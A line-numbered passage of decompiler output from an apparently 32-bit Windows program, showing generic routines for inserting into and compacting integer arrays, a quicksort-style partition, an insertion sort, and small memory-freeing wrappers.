  9837.                         v27 = *(int32_t *)v32;
  9838.                         v38 = v32 - 4;
  9839.                         v41 = *(int32_t *)v38;
  9840.                         v10 = v38;
  9841.                         if (v27 < v41) {
  9842.                             v28 = v41;
  9843.                             v14 = v32;
  9844.                             goto lab_0x4093d2;
  9845.                         }
  9846.                         v15 = v32;
  9847.                         v33 = v32;
  9848.                         goto lab_0x4093e0;
  9849.                     }
  9850.                 }
  9851.             } else {
  9852.                 // 0x4093a2
  9853.                 function_409750((int32_t *)v40, v39, 0);
  9854.                 // branch -> 0x4093e9
  9855.             }
  9856.             // 0x4093e9
  9857.             v34 = g2;
  9858.             v42 = *(int32_t *)(v34 + 8);
  9859.             v43 = *(int32_t *)(v34 + 4);
  9860.             v11 = v43;
  9861.             if (v43 == v42) {
  9862.                 // 0x409408
  9863.                 v24 = v42;
  9864.                 v22 = v42;
  9865.                 v36 = v34;
  9866.                 // branch -> 0x409431
  9867.                 // 0x409431
  9868.                 v44 = *(int32_t *)(v36 + 8);
  9869.                 if (v22 == v44) {
  9870.                     // 0x409448
  9871.                     *(int32_t *)(v36 + 8) = v24;
  9872.                     LocalFree(NULL);
  9873.                     return 1;
  9874.                 }
  9875.                 v23 = v22;
  9876.                 *(int32_t *)v24 = *(int32_t *)v23;
  9877.                 v9 = v42 + 4;
  9878.                 v25 = v23 + 4;
  9879.                 while (v25 != v44) {
  9880.                     // 0x40943a
  9881.                     v23 = v25;
  9882.                     *(int32_t *)v9 = *(int32_t *)v23;
  9883.                     v9 += 4;
  9884.                     v25 = v23 + 4;
  9885.                     // continue -> 0x40943a
  9886.                 }
  9887.                 // 0x409448
  9888.                 // branch -> 0x409448
  9889.                 // 0x409448
  9890.                 *(int32_t *)(g2 + 8) = v9;
  9891.                 LocalFree(NULL);
  9892.                 return 1;
  9893.             }
  9894.             // 0x4093f5
  9895.             v7 = v43 + 4;
  9896.             if (v7 == v42) {
  9897.                 // 0x409408
  9898.                 // branch -> 0x409408
  9899.                 // 0x409408
  9900.                 v11 = v42;
  9901.                 v24 = v42;
  9902.                 v22 = v42;
  9903.                 v36 = v34;
  9904.                 // branch -> 0x409431
  9905.             } else {
  9906.                 v16 = v43;
  9907.                 v8 = v7;
  9908.                 while (true) {
  9909.                     // 0x4093fc
  9910.                     if (*(int32_t *)v16 != *(int32_t *)v8) {
  9911.                         goto lab_0x409404;
  9912.                     }
  9913.                     // 0x40940c
  9914.                     if (v16 != v42) {
  9915.                         // 0x40941b
  9916.                         v11 = v8;
  9917.                         v10 = v8;
  9918.                         v17 = v8;
  9919.                         v20 = v8;
  9920.                         v18 = v16;
  9921.                         // branch -> 0x40941b
  9922.                         while (true) {
  9923.                             // 0x40941b
  9924.                             v29 = *(int32_t *)v17;
  9925.                             if (*(int32_t *)v18 == v29) {
  9926.                                 v30 = v42;
  9927.                                 v19 = v18;
  9928.                                 v35 = v17;
  9929.                                 v21 = v20;
  9930.                                 goto lab_0x40942a;
  9931.                             }
  9932.                             goto lab_0x409423;
  9933.                         }
  9934.                     } else {
  9935.                         v24 = v42;
  9936.                         v22 = v42;
  9937.                         v36 = v34;
  9938.                     }
  9939.                 }
  9940.             }
  9941.             // 0x409431
  9942.             v44 = *(int32_t *)(v36 + 8);
  9943.             if (v22 == v44) {
  9944.                 // 0x409448
  9945.                 *(int32_t *)(v36 + 8) = v24;
  9946.                 LocalFree(NULL);
  9947.                 return 1;
  9948.             }
  9949.             v23 = v22;
  9950.             *(int32_t *)v24 = *(int32_t *)v23;
  9951.             v9 = v11 + 4;
  9952.             v25 = v23 + 4;
  9953.             while (v25 != v44) {
  9954.                 // 0x40943a
  9955.                 v23 = v25;
  9956.                 *(int32_t *)v9 = *(int32_t *)v23;
  9957.                 v9 += 4;
  9958.                 v25 = v23 + 4;
  9959.                 // continue -> 0x40943a
  9960.             }
  9961.             // 0x409448
  9962.             // branch -> 0x409448
  9963.             // 0x409448
  9964.             *(int32_t *)(g2 + 8) = v9;
  9965.             LocalFree(NULL);
  9966.             return 1;
  9967.         }
  9968.     }
  9969.     // 0x4091ae
  9970.     return 0;
  9971. }
  9972.  
  9973. // Address range: 0x409470 - 0x40967f
  9974. int32_t function_409470(int32_t * a1, int32_t a2, int32_t * a3, int32_t a4) {
  9975.     int32_t v1 = (int32_t)a1;
  9976.     int32_t v2 = (int32_t)a3;
  9977.     int32_t v3 = a2; // ebp
  9978.     int32_t v4 = g4; // edi
  9979.     int32_t result4 = *(int32_t *)(g4 + 8); // 0x409481
  9980.     int32_t result5 = result4; // eax
  9981.     int32_t v5; // ebx
  9982.     int32_t v6; // ecx
  9983.     int32_t v7; // edx
  9984.     int32_t v8; // esi
  9985.     if ((*(int32_t *)(g4 + 12) - result4) / 4 < a2) {
  9986.         int32_t v9 = *(int32_t *)(g4 + 4); // 0x409494
  9987.         int32_t v10;
  9988.         int32_t v11; // 0x4094b5140
  9989.         if (v9 == 0) {
  9990.             // 0x4094ac
  9991.             v11 = a2;
  9992.             v10 = 0;
  9993.             // branch -> 0x4094b5
  9994.         } else {
  9995.             int32_t v12 = (result4 - v9) / 4; // 0x40949f
  9996.             int32_t v13 = v12; // 0x4094b5141
  9997.             if (v12 <= a2) {
  9998.                 // 0x4094a8
  9999.                 v13 = a2;
  10000.                 // branch -> 0x4094b0
  10001.             }
  10002.             // 0x4094b0
  10003.             v11 = v13;
  10004.             v10 = v12;
  10005.             // branch -> 0x4094b5
  10006.         }
  10007.         int32_t v14 = v10 + v11; // 0x4094b5
  10008.         result5 = v14;
  10009.         int32_t v15 = v14; // 0x4094c1
  10010.         if (v14 <= 0xffffffff) {
  10011.             // 0x4094bf
  10012.             result5 = 0;
  10013.             v15 = 0;
  10014.             // branch -> 0x4094c1
  10015.         }
  10016.         // 0x4094c1
  10017.         _qm__qm_2_YAPAXI_Z(4 * v15);
  10018.         v5 = v1;
  10019.         int32_t v16 = result5; // 0x4094d2
  10020.         v6 = v16;
  10021.         int32_t v17 = *(int32_t *)(v4 + 4); // 0x4094d8
  10022.         result5 = v17;
  10023.         int32_t v18 = v1; // 0x40951c132
  10024.         int32_t v19 = v16; // 0x4094f6
  10025.         if (v17 != v1) {
  10026.             int32_t v20 = v1; // 0x4094f0123
  10027.             int32_t v21 = v16; // 0x4094e8
  10028.             int32_t v22; // 0x4094ed
  10029.             int32_t v23; // 0x4094f0
  10030.             while (true) {
  10031.                 // 0x4094e2
  10032.                 v23 = v20;
  10033.                 int32_t v24 = 0; // 0x4094ed
  10034.                 int32_t v25 = v17; // 0x4094ea
  10035.                 if (v21 != 0) {
  10036.                     // 0x4094e6
  10037.                     *(int32_t *)v21 = *(int32_t *)v17;
  10038.                     v23 = v5;
  10039.                     v24 = v6;
  10040.                     v25 = result5;
  10041.                     // branch -> 0x4094ea
  10042.                 }
  10043.                 int32_t v26 = v25 + 4; // 0x4094ea
  10044.                 result5 = v26;
  10045.                 v22 = v24 + 4;
  10046.                 v6 = v22;
  10047.                 if (v26 == v23) {
  10048.                     // break -> 0x4094f4
  10049.                     break;
  10050.                 }
  10051.                 v20 = v23;
  10052.                 v17 = v26;
  10053.                 v21 = v22;
  10054.                 // continue -> 0x4094e2
  10055.             }
  10056.             // 0x4094f4
  10057.             v18 = v23;
  10058.             v19 = v22;
  10059.             // branch -> 0x4094f4
  10060.         }
  10061.         // 0x4094f4
  10062.         result5 = v19;
  10063.         int32_t v27 = 0; // 0x409515
  10064.         if (v3 != 0) {
  10065.             // 0x4094fa
  10066.             v7 = v3;
  10067.             int32_t v28 = v3; // 0x40950f128
  10068.             // branch -> 0x409500
  10069.             while (true) {
  10070.                 int32_t v29 = v28; // 0x40950f
  10071.                 int32_t v30 = 0; // 0x40950c
  10072.                 if (v19 != 0) {
  10073.                     // 0x409504
  10074.                     *(int32_t *)v19 = *(int32_t *)v2;
  10075.                     v29 = v7;
  10076.                     v30 = result5;
  10077.                     // branch -> 0x40950c
  10078.                 }
  10079.                 int32_t v31 = v30 + 4; // 0x40950c
  10080.                 result5 = v31;
  10081.                 int32_t v32 = v29 - 1; // 0x40950f
  10082.                 v7 = v32;
  10083.                 if (v32 == 0) {
  10084.                     // break -> 0x409512
  10085.                     break;
  10086.                 }
  10087.                 v28 = v32;
  10088.                 v19 = v31;
  10089.                 // continue -> 0x409500
  10090.             }
  10091.             // 0x409512
  10092.             v19 = v6;
  10093.             v18 = v5;
  10094.             v27 = 4 * v3;
  10095.             // branch -> 0x409512
  10096.         }
  10097.         int32_t v33 = *(int32_t *)(g4 + 8); // 0x409512
  10098.         int32_t v34 = v27 + v19; // 0x40951e
  10099.         v7 = v34;
  10100.         if (v18 != v33) {
  10101.             // 0x409523
  10102.             result5 = v18;
  10103.             int32_t v35 = v33; // 0x409539138
  10104.             // branch -> 0x40952b
  10105.             while (true) {
  10106.                 int32_t v36 = v35; // 0x409539
  10107.                 int32_t v37 = 0; // 0x409536
  10108.                 int32_t v38 = v18; // 0x409533
  10109.                 if (v34 != 0) {
  10110.                     // 0x40952f
  10111.                     *(int32_t *)v34 = *(int32_t *)v18;
  10112.                     v36 = v33;
  10113.                     v37 = v7;
  10114.                     v38 = result5;
  10115.                     // branch -> 0x409533
  10116.                 }
  10117.                 int32_t v39 = v38 + 4; // 0x409533
  10118.                 result5 = v39;
  10119.                 int32_t v40 = v37 + 4; // 0x409536
  10120.                 v7 = v40;
  10121.                 if (v39 == v36) {
  10122.                     // break -> 0x40953d
  10123.                     break;
  10124.                 }
  10125.                 v35 = v36;
  10126.                 v18 = v39;
  10127.                 v34 = v40;
  10128.                 // continue -> 0x40952b
  10129.             }
  10130.             // 0x40953d
  10131.             // branch -> 0x40953d
  10132.         }
  10133.         // 0x40953d
  10134.         v8 = g4;
  10135.         int32_t v41 = *(int32_t *)(g4 + 4); // 0x409541
  10136.         g1 = v41;
  10137.         function_4097fe((char *)v41);
  10138.         v7 = v16;
  10139.         *(int32_t *)(v8 + 12) = v16 + 4 * v14;
  10140.         int32_t * v42 = (int32_t *)(v8 + 4); // 0x40955f_0
  10141.         int32_t v43 = *v42; // 0x40955f
  10142.         if (v43 == 0) {
  10143.             // 0x409566
  10144.             *v42 = v7;
  10145.             int32_t result = v7 + 4 * v3; // 0x40956e
  10146.             *(int32_t *)(v8 + 8) = result;
  10147.             return result;
  10148.         }
  10149.         int32_t v44 = *(int32_t *)(v8 + 8); // 0x40957d
  10150.         *v42 = v7;
  10151.         int32_t result2 = 4 * (v3 + (v44 - v43) / 4) + v7; // 0x40958b
  10152.         *(int32_t *)(v8 + 8) = result2;
  10153.         return result2;
  10154.     }
  10155.     // 0x40959a
  10156.     v7 = v1;
  10157.     if ((result4 - v1) / 4 < a2) {
  10158.         int32_t v45 = 4 * a2; // 0x4095a9
  10159.         v5 = v45;
  10160.         int32_t v46 = v45 + v1; // 0x4095b2
  10161.         v8 = v46;
  10162.         int32_t v47 = a2; // 0x4095df
  10163.         int32_t v48 = v1; // 0x4095da
  10164.         int32_t v49 = g4; // 0x4095d1
  10165.         if (result4 != v1) {
  10166.             // 0x4095b7
  10167.             v6 = v1;
  10168.             int32_t v50 = g4; // 0x4095d1105
  10169.             int32_t v51 = result4; // 0x4095cd102
  10170.             // branch -> 0x4095bb
  10171.             int32_t v52; // 0x4095d1104
  10172.             while (true) {
  10173.                 // 0x4095bb
  10174.                 v52 = v50;
  10175.                 int32_t v53 = v51; // 0x4095cd
  10176.                 int32_t v54 = 0; // 0x4095ca
  10177.                 int32_t v55 = v1; // 0x4095c7
  10178.                 if (v46 != 0) {
  10179.                     // 0x4095bf
  10180.                     *(int32_t *)v46 = *(int32_t *)v1;
  10181.                     v4 = g4;
  10182.                     v52 = g4;
  10183.                     v53 = result5;
  10184.                     v54 = v8;
  10185.                     v55 = v6;
  10186.                     // branch -> 0x4095c7
  10187.                 }
  10188.                 int32_t v56 = v55 + 4; // 0x4095c7
  10189.                 v6 = v56;
  10190.                 int32_t v57 = v54 + 4; // 0x4095ca
  10191.                 v8 = v57;
  10192.                 if (v56 == v53) {
  10193.                     // break -> 0x4095d1
  10194.                     break;
  10195.                 }
  10196.                 v50 = v52;
  10197.                 v51 = v53;
  10198.                 v1 = v56;
  10199.                 v46 = v57;
  10200.                 // continue -> 0x4095bb
  10201.             }
  10202.             // 0x4095d1
  10203.             v47 = v3;
  10204.             v48 = v7;
  10205.             v49 = v52;
  10206.             // branch -> 0x4095d1
  10207.         }
  10208.         int32_t v58 = *(int32_t *)(v49 + 8); // 0x4095d1
  10209.         result5 = v58;
  10210.         v8 = v2;
  10211.         int32_t v59 = (v58 - v48) / 4; // 0x4095dc
  10212.         int32_t v60 = v47 - v59; // 0x4095df
  10213.         v3 = v60;
  10214.         if (v47 != v59) {
  10215.             while (true) {
  10216.                 int32_t v61 = v60; // 0x4095ee
  10217.                 int32_t v62 = 0; // 0x4095eb
  10218.                 if (v58 != 0) {
  10219.                     // 0x4095e7
  10220.                     *(int32_t *)v58 = *(int32_t *)v8;
  10221.                     v61 = v3;
  10222.                     v62 = result5;
  10223.                     // branch -> 0x4095eb
  10224.                 }
  10225.                 int32_t v63 = v62 + 4; // 0x4095eb
  10226.                 result5 = v63;
  10227.                 int32_t v64 = v61 - 1; // 0x4095ee
  10228.                 v3 = v64;
  10229.                 if (v64 == 0) {
  10230.                     // break -> 0x4095f1
  10231.                     break;
  10232.                 }
  10233.                 v60 = v64;
  10234.                 v58 = v63;
  10235.                 // continue -> 0x4095e3
  10236.             }
  10237.             // 0x4095f1
  10238.             v48 = v7;
  10239.             v49 = v4;
  10240.             // branch -> 0x4095f1
  10241.         }
  10242.         int32_t v65 = *(int32_t *)(v49 + 8); // 0x4095f1
  10243.         int32_t result3; // 0x409608
  10244.         int32_t * v66; // 0x409605_0
  10245.         if (v48 == v65) {
  10246.             // 0x409605
  10247.             v66 = (int32_t *)(v49 + 8);
  10248.             result3 = v5 + *v66;
  10249.             *v66 = result3;
  10250.             return result3;
  10251.         }
  10252.         *(int32_t *)v48 = *(int32_t *)v8;
  10253.         int32_t v67 = v48 + 4; // 0x4095fe
  10254.         while (v67 != v65) {
  10255.             // 0x4095fa
  10256.             *(int32_t *)v67 = *(int32_t *)v8;
  10257.             v67 += 4;
  10258.             // continue -> 0x4095fa
  10259.         }
  10260.         // 0x409605
  10261.         // branch -> 0x409605
  10262.         // 0x409605
  10263.         v66 = (int32_t *)(v4 + 8);
  10264.         result3 = v5 + *v66;
  10265.         *v66 = result3;
  10266.         return result3;
  10267.     }
  10268.     // 0x409617
  10269.     if (a2 == 0) {
  10270.         // 0x40966f
  10271.         return result4;
  10272.     }
  10273.     int32_t v68 = 4 * a2; // 0x40961b
  10274.     v3 = v68;
  10275.     v8 = result4;
  10276.     int32_t v69 = result4 - v68; // 0x409622
  10277.     v6 = v69;
  10278.     int32_t v70 = 0; // 0x40963f
  10279.     int32_t v71 = g4; // 0x40963a
  10280.     if (v68 != 0) {
  10281.         while (true) {
  10282.             int32_t v72 = result4; // 0x409636
  10283.             int32_t v73 = 0; // 0x409633
  10284.             int32_t v74 = v69; // 0x409630
  10285.             if (result4 != 0) {
  10286.                 // 0x40962c
  10287.                 *(int32_t *)result4 = *(int32_t *)v69;
  10288.                 v72 = result5;
  10289.                 v73 = v8;
  10290.                 v74 = v6;
  10291.                 // branch -> 0x409630
  10292.             }
  10293.             int32_t v75 = v74 + 4; // 0x409630
  10294.             v6 = v75;
  10295.             int32_t v76 = v73 + 4; // 0x409633
  10296.             v8 = v76;
  10297.             if (v75 == v72) {
  10298.                 // break -> 0x40963a
  10299.                 break;
  10300.             }
  10301.             result4 = v76;
  10302.             v69 = v75;
  10303.             // continue -> 0x409628
  10304.         }
  10305.         // 0x40963a
  10306.         v1 = v7;
  10307.         v70 = v3;
  10308.         v71 = v4;
  10309.         // branch -> 0x40963a
  10310.     }
  10311.     int32_t v77 = *(int32_t *)(v71 + 8); // 0x40963a
  10312.     int32_t v78 = v77 - v70; // 0x40963f
  10313.     int32_t v79 = v1; // 0x409654
  10314.     int32_t v80; // 0x409665
  10315.     int32_t v81; // 0x409665156
  10316.     int32_t * v82; // 0x40966c_0
  10317.     int32_t v83; // 0x40966c
  10318.     if (v1 != v78) {
  10319.         int32_t v84 = v78 - 4; // 0x409645160
  10320.         int32_t v85 = v77 - 4; // 0x40964b163
  10321.         *(int32_t *)v85 = *(int32_t *)v84;
  10322.         if (v84 != v1) {
  10323.             int32_t v86 = v84 - 4; // 0x409645
  10324.             int32_t v87 = v85 - 4; // 0x40964b
  10325.             *(int32_t *)v87 = *(int32_t *)v86;
  10326.             while (v86 != v7) {
  10327.                 // 0x409645
  10328.                 v86 -= 4;
  10329.                 v87 -= 4;
  10330.                 *(int32_t *)v87 = *(int32_t *)v86;
  10331.                 // continue -> 0x409645
  10332.             }
  10333.             // 0x409654
  10334.             v70 = v3;
  10335.             v79 = v7;
  10336.             // branch -> 0x409654
  10337.             // 0x409654
  10338.             v6 = v79 + v70;
  10339.             result5 = v79;
  10340.             v83 = 0;
  10341.             if (v70 != 0) {
  10342.                 // 0x40965d
  10343.                 *(int32_t *)v79 = *a3;
  10344.                 v81 = result5 + 4;
  10345.                 result5 = v81;
  10346.                 if (v81 != v6) {
  10347.                     *(int32_t *)v81 = *(int32_t *)v2;
  10348.                     v80 = result5 + 4;
  10349.                     result5 = v80;
  10350.                     while (v80 != v6) {
  10351.                         // 0x409661
  10352.                         *(int32_t *)v80 = *(int32_t *)v2;
  10353.                         v80 = result5 + 4;
  10354.                         result5 = v80;
  10355.                         // continue -> 0x409661
  10356.                     }
  10357.                     // 0x40966c
  10358.                     // branch -> 0x40966c
  10359.                     // 0x40966c
  10360.                     v82 = (int32_t *)(v4 + 8);
  10361.                     *v82 = *v82 + v3;
  10362.                     // branch -> 0x40966f
  10363.                     // 0x40966f
  10364.                     return result5;
  10365.                 }
  10366.                 // 0x40966c
  10367.                 v83 = v3;
  10368.                 // branch -> 0x40966c
  10369.             }
  10370.             // 0x40966c
  10371.             v82 = (int32_t *)(v4 + 8);
  10372.             *v82 = *v82 + v83;
  10373.             // branch -> 0x40966f
  10374.             // 0x40966f
  10375.             return result5;
  10376.         }
  10377.         // 0x409654
  10378.         v70 = v3;
  10379.         v79 = v7;
  10380.         // branch -> 0x409654
  10381.     }
  10382.     // 0x409654
  10383.     v6 = v79 + v70;
  10384.     result5 = v79;
  10385.     v83 = 0;
  10386.     if (v70 != 0) {
  10387.         // 0x40965d
  10388.         *(int32_t *)v79 = *a3;
  10389.         v81 = result5 + 4;
  10390.         result5 = v81;
  10391.         if (v81 != v6) {
  10392.             *(int32_t *)v81 = *(int32_t *)v2;
  10393.             v80 = result5 + 4;
  10394.             result5 = v80;
  10395.             while (v80 != v6) {
  10396.                 // 0x409661
  10397.                 *(int32_t *)v80 = *(int32_t *)v2;
  10398.                 v80 = result5 + 4;
  10399.                 result5 = v80;
  10400.                 // continue -> 0x409661
  10401.             }
  10402.             // 0x40966c
  10403.             // branch -> 0x40966c
  10404.             // 0x40966c
  10405.             v82 = (int32_t *)(v4 + 8);
  10406.             *v82 = *v82 + v3;
  10407.             // branch -> 0x40966f
  10408.             // 0x40966f
  10409.             return result5;
  10410.         }
  10411.         // 0x40966c
  10412.         v83 = v3;
  10413.         // branch -> 0x40966c
  10414.     }
  10415.     // 0x40966c
  10416.     v82 = (int32_t *)(v4 + 8);
  10417.     *v82 = *v82 + v83;
  10418.     // branch -> 0x40966f
  10419.     // 0x40966f
  10420.     return result5;
  10421. }
  10422.  
  10423. // Address range: 0x409680 - 0x40974f
  10424. int32_t function_409680(int32_t * a1, int32_t a2, int32_t a3, int32_t a4) {
  10425.     int32_t v1 = (int32_t)a1;
  10426.     int32_t v2 = a2; // ebx
  10427.     int32_t v3 = g5; // 0x409685
  10428.     g5 = v1;
  10429.     int32_t result = a2 - v1; // 0x40968c
  10430.     if ((result & -4) < 65) {
  10431.         // 0x409742
  10432.         g5 = v3;
  10433.         return result;
  10434.     }
  10435.     int32_t v4 = g2; // 0x40969c
  10436.     int32_t v5 = g7; // bp-16
  10437.     // branch -> 0x40969e
  10438.   lab_0x40969e:
  10439.     while (true) {
  10440.         uint32_t v6 = *(int32_t *)v1; // 0x4096a2
  10441.         int32_t v7 = v6; // ecx
  10442.         uint32_t v8 = *(int32_t *)(a2 - 4); // 0x4096a4
  10443.         uint32_t v9 = *(int32_t *)(4 * (result / 4 - (result >> 31)) / 2 + v1); // 0x4096ab
  10444.         int32_t v10; // eax
  10445.         int32_t v11;
  10446.         uint32_t v12; // 0x4096e2
  10447.         int32_t v13; // 0x4096ce34
  10448.         if (v6 < v9) {
  10449.             // 0x4096b2
  10450.             if (v9 < v8) {
  10451.               lab_0x4096c8:
  10452.                 // 0x4096c8
  10453.                 v7 = v9;
  10454.                 v13 = v9;
  10455.                 // branch -> 0x4096ca
  10456.             } else {
  10457.                 // 0x4096b6
  10458.                 if (v6 < v8) {
  10459.                     // 0x4096ba
  10460.                     v7 = v8;
  10461.                     v13 = v8;
  10462.                     // branch -> 0x4096ca
  10463.                 } else {
  10464.                     v13 = v6;
  10465.                 }
  10466.             }
  10467.           lab_0x4096ca_2:
  10468.             // 0x4096ca
  10469.             v10 = a2;
  10470.             v12 = v13;
  10471.             v11 = v1;
  10472.             // branch -> 0x4096ce
  10473.           lab_0x4096ce:;
  10474.             int32_t result2; // 0x409730
  10475.             while (true) {
  10476.                 // 0x4096ce
  10477.                 g7 = v11;
  10478.                 uint32_t v14 = v11; // 0x4096f6
  10479.                 int32_t v15; // 0x4096f4
  10480.                 int32_t v16; // 0x4096e6
  10481.                 int32_t v17; // 0x4096dc
  10482.                 if (*(int32_t *)v11 < v12) {
  10483.                     int32_t v18 = v11 + 4; // 0x4096d2
  10484.                     g7 = v18;
  10485.                     v14 = v18;
  10486.                     while (*(int32_t *)v18 < v12) {
  10487.                         // 0x4096d2
  10488.                         v18 += 4;
  10489.                         g7 = v18;
  10490.                         v14 = v18;
  10491.                         // continue -> 0x4096d2
  10492.                     }
  10493.                     // 0x4096dc
  10494.                     v17 = v10 - 4;
  10495.                     v10 = v17;
  10496.                     v15 = v17;
  10497.                     if (v12 < *(int32_t *)v17) {
  10498.                         v16 = v17;
  10499.                       lab_0x4096e6:
  10500.                         while (true) {
  10501.                             int32_t v19 = v16 - 4; // 0x4096e6
  10502.                             v10 = v19;
  10503.                             if (v12 >= *(int32_t *)v19) {
  10504.                                 v15 = v19;
  10505.                                 // break -> 0x4096f0
  10506.                                 break;
  10507.                             }
  10508.                             v16 = v19;
  10509.                             // continue -> 0x4096e6
  10510.                         }
  10511.                         // 0x4096f0
  10512.                         if (v15 > v14) {
  10513.                           lab_0x4096f4:;
  10514.                             int32_t v20 = *(int32_t *)v15; // 0x4096f4
  10515.                             g2 = v20;
  10516.                             int32_t * v21 = (int32_t *)v14; // 0x4096f6_0
  10517.                             *v21 = v20;
  10518.                             *(int32_t *)v10 = *v21;
  10519.                             v12 = v7;
  10520.                             v11 = g7 + 4;
  10521.                             // branch -> 0x4096ce
  10522.                             continue;
  10523.                         } else {
  10524.                           lab_0x409701:;
  10525.                             int32_t v22 = v2; // 0x409701
  10526.                             int32_t v23 = g5; // 0x409707
  10527.                             int32_t v24; // 0x40972c
  10528.                             int32_t v25; // 0x40972e
  10529.                             if ((v22 - v14 & -4) > (v14 - v23 & -4)) {
  10530.                                 // 0x409722
  10531.                                 function_409680((int32_t *)v23, v14, 0, v5);
  10532.                                 v24 = g7;
  10533.                                 g5 = v24;
  10534.                                 v25 = v2;
  10535.                                 // branch -> 0x40972e
  10536.                             } else {
  10537.                                 // 0x409714
  10538.                                 function_409680((int32_t *)v14, v22, 0, v5);
  10539.                                 int32_t v26 = g7; // 0x40971e
  10540.                                 v2 = v26;
  10541.                                 v24 = g5;
  10542.                                 v25 = v26;
  10543.                                 // branch -> 0x40972e
  10544.                             }
  10545.                             // 0x40972e
  10546.                             result2 = v25 - v24;
  10547.                             if ((result2 & -4) <= 64) {
  10548.                                 // break (via goto) -> 0x409740
  10549.                                 goto lab_0x409740;
  10550.                             }
  10551.                             a2 = v25;
  10552.                             v1 = v24;
  10553.                             result = result2;
  10554.                             // continue (via goto) -> 0x40969e
  10555.                             goto lab_0x40969e;
  10556.                         }
  10557.                     }
  10558.                   lab_0x4096f0:
  10559.                     // 0x4096f0
  10560.                     if (v15 > v14) {
  10561.                         goto lab_0x4096f4;
  10562.                     }
  10563.                     goto lab_0x409701;
  10564.                 }
  10565.                 // 0x4096dc
  10566.                 v17 = v10 - 4;
  10567.                 v10 = v17;
  10568.                 if (v12 < *(int32_t *)v17) {
  10569.                     v16 = v17;
  10570.                     goto lab_0x4096e6;
  10571.                 }
  10572.                 v15 = v17;
  10573.                 goto lab_0x4096f0;
  10574.             }
  10575.           lab_0x409740:
  10576.             // 0x409740
  10577.             g7 = v5;
  10578.             g2 = v4;
  10579.             // branch -> 0x409742
  10580.             // 0x409742
  10581.             g5 = v3;
  10582.             return result2;
  10583.         }
  10584.         // 0x4096be
  10585.         if (v6 < v8) {
  10586.             v13 = v6;
  10587.             goto lab_0x4096ca_2;
  10588.         }
  10589.         // 0x4096c2
  10590.         v7 = v8;
  10591.         if (v9 < v8) {
  10592.             v13 = v8;
  10593.             goto lab_0x4096ca_2;
  10594.         }
  10595.         goto lab_0x4096c8;
  10596.         // 0x4096ca
  10597.         v10 = a2;
  10598.         v12 = v13;
  10599.         v11 = v1;
  10600.         // branch -> 0x4096ce
  10601.         goto lab_0x4096ce;
  10602.     }
  10603. }
  10604.  
  10605. // Address range: 0x409750 - 0x4097af
  10606. int32_t function_409750(int32_t * a1, int32_t a2, int32_t a3) {
  10607.     int32_t v1 = (int32_t)a1;
  10608.     int32_t v2 = v1; // ebx
  10609.     int32_t v3;
  10610.     if (v1 == a2) {
  10611.         // 0x4097aa
  10612.         g3 = v3;
  10613.         return g1;
  10614.     }
  10615.     int32_t v4 = v1 + 4; // 0x40975f
  10616.     int32_t v5 = v4; // edi
  10617.     if (v4 == a2) {
  10618.         // 0x4097aa
  10619.         g3 = v3;
  10620.         return g1;
  10621.     }
  10622.     // branch -> 0x409767
  10623.     while (true) {
  10624.         int32_t * v6 = (int32_t *)v4; // 0x409767_0
  10625.         int32_t v7 = *v6; // 0x409767
  10626.         int32_t v8 = v7; // esi
  10627.         if (v7 < *(int32_t *)v1) {
  10628.             // 0x40978d
  10629.             g1 = v4;
  10630.             int32_t v9 = v7; // 0x4097a0
  10631.             int32_t v10 = v1; // 0x4097a0
  10632.             if (v1 != v4) {
  10633.                 int32_t v11 = v4 - 4; // 0x40979325
  10634.                 g1 = v11;
  10635.                 *v6 = *(int32_t *)v11;
  10636.                 if (v11 != v1) {
  10637.                     int32_t v12 = g1;
  10638.                     int32_t v13 = v12 - 4; // 0x409793
  10639.                     g1 = v13;
  10640.                     *(int32_t *)v12 = *(int32_t *)v13;
  10641.                     while (v13 != v2) {
  10642.                         // 0x409793
  10643.                         v12 = g1;
  10644.                         v13 = v12 - 4;
  10645.                         g1 = v13;
  10646.                         *(int32_t *)v12 = *(int32_t *)v13;
  10647.                         // continue -> 0x409793
  10648.                     }
  10649.                     // 0x4097a0
  10650.                     // branch -> 0x4097a0
  10651.                   lab_0x4097a0:
  10652.                     // 0x4097a0
  10653.                     *(int32_t *)v2 = v8;
  10654.                     // branch -> 0x4097a2
  10655.                   lab_0x4097a2_3:;
  10656.                     int32_t v14 = v5 + 4; // 0x4097a2
  10657.                     v5 = v14;
  10658.                     if (v14 == a2) {
  10659.                         // 0x4097a9
  10660.                         // branch -> 0x4097aa
  10661.                         // 0x4097aa
  10662.                         g3 = v3;
  10663.                         return g1;
  10664.                     }
  10665.                   lab_0x4097a2_4:
  10666.                     // 0x4097a2
  10667.                     v1 = v2;
  10668.                     v4 = v14;
  10669.                     // branch -> 0x409767
  10670.                     continue;
  10671.                 }
  10672.                 // branch -> 0x4097a0
  10673.                 goto lab_0x4097a0;
  10674.             }
  10675.             // 0x4097a0
  10676.             *(int32_t *)v10 = v9;
  10677.             // branch -> 0x4097a2
  10678.             goto lab_0x4097a2_3;
  10679.         } else {
  10680.             int32_t v15 = v4 - 4; // 0x40976f
  10681.             uint32_t v16 = *(int32_t *)v15; // 0x40976f
  10682.             g1 = v15;
  10683.             int32_t v17 = v7; // 0x409789
  10684.             if (v7 < v16) {
  10685.                 *(int32_t *)v4 = v16;
  10686.                 int32_t v18 = g1; // 0x40977d
  10687.                 int32_t v19 = v18 - 4; // 0x40977d
  10688.                 uint32_t v20 = *(int32_t *)v19; // 0x40977d
  10689.                 g1 = v19;
  10690.                 while (v8 < v20) {
  10691.                     // 0x40977b
  10692.                     *(int32_t *)v18 = v20;
  10693.                     v18 = g1;
  10694.                     v19 = v18 - 4;
  10695.                     v20 = *(int32_t *)v19;
  10696.                     g1 = v19;
  10697.                     // continue -> 0x40977b
  10698.                 }
  10699.                 // 0x409789
  10700.                 *(int32_t *)v18 = v8;
  10701.                 // branch -> 0x4097a2
  10702.                 goto lab_0x4097a2_3;
  10703.             }
  10704.             // 0x409789
  10705.             *(int32_t *)v4 = v17;
  10706.             // branch -> 0x4097a2
  10707.             goto lab_0x4097a2_3;
  10708.         }
  10709.     }
  10710. }
  10711.  
  10712. // Address range: 0x4097b0 - 0x4097fd
  10713. void function_4097b0(void) {
  10714.     // 0x4097b0
  10715.     unknown_40a144();
  10716. }
  10717.  
  10718. // Address range: 0x4097fe - 0x409809
  10719. int32_t function_4097fe(char * a1) {
  10720.     // 0x4097fe
  10721.     free(a1);
  10722.     return g1;
  10723. }
  10724.  
  10725. // Address range: 0x40980a - 0x409815
  10726. void function_40980a(void) {
  10727.     // 0x40980a
  10728.     unknown_40a180();
  10729. }
  10730.  
